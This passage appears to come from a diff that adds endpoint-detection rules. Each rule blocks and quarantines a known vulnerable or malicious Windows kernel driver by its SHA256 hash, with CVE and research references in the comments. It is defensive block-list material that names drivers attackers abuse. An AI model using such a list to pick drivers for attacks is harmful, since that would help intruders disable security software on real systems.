+  "comment": "Elaborate Bytes vulnerable driver (aka ElbyCDIO.sys) [CVE-2009-0824] [https://www.loldrivers.io/drivers/855ade1f-8a9e-4c9d-ab8e-d7e409609852/] [authentihash SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "48a52304-d193-5e83-9d5d-026ae04be497",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:30.472183Z",
+  "creation_date": "2026-03-23T11:45:30.472186Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:30.472196Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "be683cd38e64280567c59f7dc0a45570abcb8a75f1d894853bbbd25675b4adf7",
+  "comment": "Vulnerable Kernel Driver (aka cpuz.sys) [https://www.loldrivers.io/drivers/0f59ce3b-20ac-41ba-8010-2abc74827eb8/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "48a9e746-657a-5bec-8196-f3249693a63f",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:29.611762Z",
+  "creation_date": "2026-03-23T11:45:29.611764Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:29.611769Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "ded2927f9a4e64eefd09d0caba78e94f309e3a6292841ae81d5528cab109f95d",
+  "comment": "CPUID CPU-Z vulnerable driver (aka cpuz141_x64.sys) [CVE-2017-15303] [https://www.loldrivers.io/drivers/de003542-80e1-4aa0-9b99-ed8647a93a6e/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "48b6a7d1-ec7b-5400-b308-4bd76608cee3",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:29.976606Z",
+  "creation_date": "2026-03-23T11:45:29.976609Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:29.976614Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "3325f541c9930a321930853e0d7f0f4c35ba99f99a97bfe275c60248957720fb",
+  "comment": "Malicious attestation-signed Drivers (aka NodeDriver.sys, 4.sys, Air_SYSTEM10.sys etc.) [https://www.mandiant.com/resources/blog/hunting-attestation-signed-malware] [authentihash SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "48b6c077-8071-5316-bd5f-a394196bd70b",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.159031Z",
+  "creation_date": "2026-03-23T11:45:31.159033Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.159039Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "8b13218595ab037f196cd60fcb63c508dfdb297dc9ec0e1503c98c889bd261e5",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "48bea4f6-2d8f-59aa-83e4-651b7fb1f338",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.495474Z",
+  "creation_date": "2026-03-23T11:45:31.495476Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.495482Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "0f94cdfde51e553422161966273904386e78ec50440b3b87453dc272c96e07e3",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "48bffc64-bfa0-5d18-a704-505016c9a4fe",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:30.818155Z",
+  "creation_date": "2026-03-23T11:45:30.818157Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:30.818162Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "bd3cf8b9af255b5d4735782d3653be38578ff5be18846b13d05867a6159aaa53",
+  "comment": "Vulnerable Kernel Driver (aka kerneld.amd64) [https://blogs.vmware.com/security/2023/10/hunting-vulnerable-kernel-drivers.html] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "48c1d90d-dde3-557e-b5e2-7f6012d9b58e",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.147448Z",
+  "creation_date": "2026-03-23T11:45:31.147450Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.147455Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "893dc1f05094678d99431e580ae49b12980f8e17faf91716b620920a2ca70f87",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "48cc104e-8ecc-58cf-9e7b-1aae6b015f13",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:29.971470Z",
+  "creation_date": "2026-03-23T11:45:29.971472Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:29.971478Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "e428ddf9afc9b2d11e2271f0a67a2d6638b860c2c12d4b8cc63d33f3349ee93f",
+  "comment": "MalwareFox AntiMalware Vulnerable Driver (aka zam64.sys and zam32.sys) [CVE-2021-31727, CVE-2021-31728] [https://www.loldrivers.io/drivers/e5f12b82-8d07-474e-9587-8c7b3714d60c/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "48ce33ef-d4f2-5ea4-b09c-2e7aee54ed7c",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:29.978153Z",
+  "creation_date": "2026-03-23T11:45:29.978155Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:29.978160Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "f8236fc01d4efaa48f032e301be2ebba4036b2cd945982a29046eca03944d2ae",
+  "comment": "Malicious Kernel Driver (aka 0x3040_blacklotus_beta_driver.sys) [https://www.loldrivers.io/drivers/8750b245-af35-4bc6-9af3-dc858f9db64f/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "48d79238-e8c3-5271-a44f-d04812bc4c32",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:30.828525Z",
+  "creation_date": "2026-03-23T11:45:30.828527Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:30.828533Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "7ce8b50aafe609aa99089555ef270fd5add09356324c4dc48c4ee5f61abf6a38",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "48fd3df5-707b-5fb8-8369-ed3e8db97554",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.487975Z",
+  "creation_date": "2026-03-23T11:45:31.487976Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.487982Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "18d5c494049fae47cc073a96d01ab43209c44641e3f09901273927fb08cc02b4",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "490119f2-8d61-5531-b267-4182f549cab0",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:29.616834Z",
+  "creation_date": "2026-03-23T11:45:29.616837Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:29.616845Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "7ccc32e11372896cc01d7780e1176ed6fedd17f846001bc3bf78699e4448105f",
+  "comment": "American Megatrends vulnerable BIOS flash tool (aka UCOREW64.SYS and amifldrv64.sys) [https://www.loldrivers.io/drivers/a338a9fc-9fe3-400c-9fe4-69bb7892602d/] [authentihash SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "490b8a80-0607-58ee-b194-48f707d73dab",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:30.454848Z",
+  "creation_date": "2026-03-23T11:45:30.454851Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:30.454860Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "dd4fedd5662122cbfe046a12e2137294ef1cb7822238d9e24eacc78f22f8e93d",
+  "comment": "Vulnerable Kernel Driver (aka NICM.sys) [https://www.loldrivers.io/drivers/0f8e317e-ad2b-4b02-9f96-603bb8d28604/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "490c18e2-13eb-59a5-8374-d2eb299a928c",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:32.146081Z",
+  "creation_date": "2026-03-23T11:45:32.146083Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:32.146088Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "38050334f2043b6f42fccb934b4eebc9211755a0e9ad1485740351a272696f71",
+  "comment": "Malicious Kernel Driver (aka driver_85ca0dcd.sys) [https://www.loldrivers.io/drivers/e1c29414-5b5b-44f4-84cc-e6f55d9a23c6/] [authentihash SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "4911d9dd-a781-5b78-8c6c-1a98bd1d257e",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:30.818505Z",
+  "creation_date": "2026-03-23T11:45:30.818507Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:30.818512Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "bae4372a9284db52dedc1c1100cefa758b3ec8d9d4f0e5588a8db34ded5edb1f",
+  "comment": "Vulnerable Kernel Driver (aka kerneld.amd64) [https://blogs.vmware.com/security/2023/10/hunting-vulnerable-kernel-drivers.html] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "4924b956-3015-5281-bb7b-fe741d987855",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:30.830771Z",
+  "creation_date": "2026-03-23T11:45:30.830773Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:30.830778Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "b3537166808a46eacd98c3b96419b586ce6b94a02b7694ade5f1333cf83069a7",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "49258966-1a5c-578e-8491-061c83062006",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:29.971016Z",
+  "creation_date": "2026-03-23T11:45:29.971020Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:29.971028Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "931e4d6f7f04b122bc5bc6a61fb4e0186796623f4fc72d0c42ccfa886f1c5fb2",
+  "comment": "Mimikatz kernel driver (aka mimidrv.sys) [https://github.com/gentilkiwi/mimikatz] [authentihash SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "4927940f-fae7-5a26-965e-fec21042e33a",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.498442Z",
+  "creation_date": "2026-03-23T11:45:31.498446Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.498454Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "e33fc043d24f4ec16763c65a424429fb316b0ffb668271b8f3d3edb58b164ae3",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "492cd1fc-24c6-5ab0-adfd-752fa5f349f5",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:29.619850Z",
+  "creation_date": "2026-03-23T11:45:29.619852Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:29.619857Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "22afee6f0ec783d59ef4f5d6c189b78fa26302f0ed09670b7bbc9bae26bdb0e5",
+  "comment": "Super Micro Computer dangerous update tool (aka superbmc.sys) [https://www.loldrivers.io/drivers/9074a02a-b1ca-4bfb-8918-5b88e91c04a2/] [authentihash SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "4951b748-bc81-5db0-9931-556b1ba694d6",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.141540Z",
+  "creation_date": "2026-03-23T11:45:31.141542Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.141548Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "0dff65fb3b2ee96454e641f57a416159d1993c0bec3796aa96b79d9e1248f354",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "4957d8c1-c589-50a6-8978-c784de79dec1",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.477099Z",
+  "creation_date": "2026-03-23T11:45:31.477103Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.477113Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "ee2e35139eedef641adfb4960e647d41e2f12f9fbb995404d30f69d13775fe4c",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "495b8d86-bdb8-5629-bcf4-bd5266f8beba",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.819317Z",
+  "creation_date": "2026-03-23T11:45:31.819320Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.819326Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "037cd03cf102c226c51d266f9d35a4bd8aee3e07fac0e07a25e9def9db50e101",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "496b71c8-12ed-58e3-aa03-f02ffa7f546e",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
